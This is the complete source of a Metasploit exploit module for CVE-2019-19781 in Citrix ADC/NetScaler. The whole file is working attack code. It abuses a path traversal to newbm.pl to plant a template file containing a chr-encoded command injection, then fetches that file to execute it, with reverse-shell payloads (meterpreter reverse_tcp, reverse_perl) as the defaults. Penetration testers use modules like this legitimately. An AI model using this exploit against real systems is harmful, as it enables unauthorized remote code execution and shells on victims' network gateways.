Citrix ADC (NetScaler) Directory Traversal / Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::CheckModule
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'                => 'Citrix ADC (NetScaler) Directory Traversal RCE',
      'Description'         => %q{
        This module exploits a directory traversal in Citrix Application Delivery Controller (ADC), aka
        NetScaler, and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0, to execute an arbitrary command payload.
      },
      'Author'              => [
        'Project Zero India', 'TrustedSec', # PoCs
        'mekhalleh (RAMELLA Sbastien)'     # Module (https://www.pirates.re/)
      ],
      'References'          => [
        ['CVE', '2019-19781'],
        ['EDB', '47901'],
        ['EDB', '47902'],
        ['URL', 'https://support.citrix.com/article/CTX267027/'],
        ['URL', 'https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/']
      ],
      'DisclosureDate'      => '2019-12-17',
      'License'             => MSF_LICENSE,
      'Platform'            => ['python', 'unix'],
      'Arch'                => [ARCH_PYTHON, ARCH_CMD],
      'Privileged'          => false,
      'Targets'             => [
        ['Python',
          'Platform'        => 'python',
          'Arch'            => ARCH_PYTHON,
          'Type'            => :python,
          'DefaultOptions'  => {'PAYLOAD' => 'python/meterpreter/reverse_tcp'}
        ],
        ['Unix Command',
          'Platform'        => 'unix',
          'Arch'            => ARCH_CMD,
          'Type'            => :unix_command,
          'DefaultOptions'  => {'PAYLOAD' => 'cmd/unix/reverse_perl'}
        ]
      ],
      'DefaultTarget'       => 0,
      'DefaultOptions'      => {
        'CheckModule'       => 'auxiliary/scanner/http/citrix_dir_traversal',
        'HttpClientTimeout' => 3.5
      },
      'Notes'               => {
        'AKA'               => ['Shitrix'],
        'Stability'         => [CRASH_SAFE],
        'Reliability'       => [REPEATABLE_SESSION],
        'SideEffects'       => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
      }
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])

    register_advanced_options([
      OptBool.new('ForceExploit', [false, 'Override check result', false])
    ])
  end

  def cmd_unix_generic?
    datastore['PAYLOAD'] == 'cmd/unix/generic'
  end

  def exploit
    unless datastore['ForceExploit']
      case check
      when CheckCode::Vulnerable
        print_good('The target appears to be vulnerable')
      when CheckCode::Safe
        fail_with(Failure::NotVulnerable, 'The target does not appear to be vulnerable')
      else
        fail_with(Failure::Unknown, 'The target vulnerability state is unknown')
      end
    end

    print_status("Yeeting #{datastore['PAYLOAD']} payload at #{peer}")
    vprint_status("Generated payload: #{payload.encoded}")

    case target['Type']
    when :python
      execute_command(%(/var/python/bin/python2 -c "#{payload.encoded}"))
    when :unix_command
      if (res = execute_command(payload.encoded)) && cmd_unix_generic?
        print_line(res.get_html_document.text.gsub(/undef error - Attempt to bless.*/m, ''))
      end
    end
  end

  def execute_command(cmd, _opts = {})
    filename = rand_text_alpha(8..42)
    nonce    = rand_text_alpha(8..42)

    res = send_request_cgi(
      'method'      => 'POST',
      'uri'         => normalize_uri(target_uri.path, '/vpn/../vpns/portal/scripts/newbm.pl'),
      'headers'     => {
        'NSC_USER'  => "../../../netscaler/portal/templates/#{filename}",
        'NSC_NONCE' => nonce
      },
      'vars_post'   => {
        'url'       => rand_text_alpha(8..42),
        'title'     => "[%template.new({'BLOCK'='print readpipe(#{chr_payload(cmd)})'})%]"
      }
    )

    unless res && res.code == 200
      print_error('No response to POST newbm.pl request')
      return
    end

    res = send_request_cgi(
      'method'      => 'GET',
      'uri'         => normalize_uri(target_uri.path, "/vpn/../vpns/portal/#{filename}.xml"),
      'headers'     => {
        'NSC_USER'  => rand_text_alpha(8..42),
        'NSC_NONCE' => nonce
      },
      'partial'     => true
    )

    unless res && res.code == 200
      print_warning("No response to GET #{filename}.xml request")
    end

    register_files_for_cleanup(
      "/netscaler/portal/templates/#{filename}.xml",
      "/var/tmp/netscaler/portal/templates/#{filename}.xml.ttc2"
    )

    res
  end

  def chr_payload(cmd)
    cmd.each_char.map { |c| "chr(#{c.ord})" }.join('.')
  end

end

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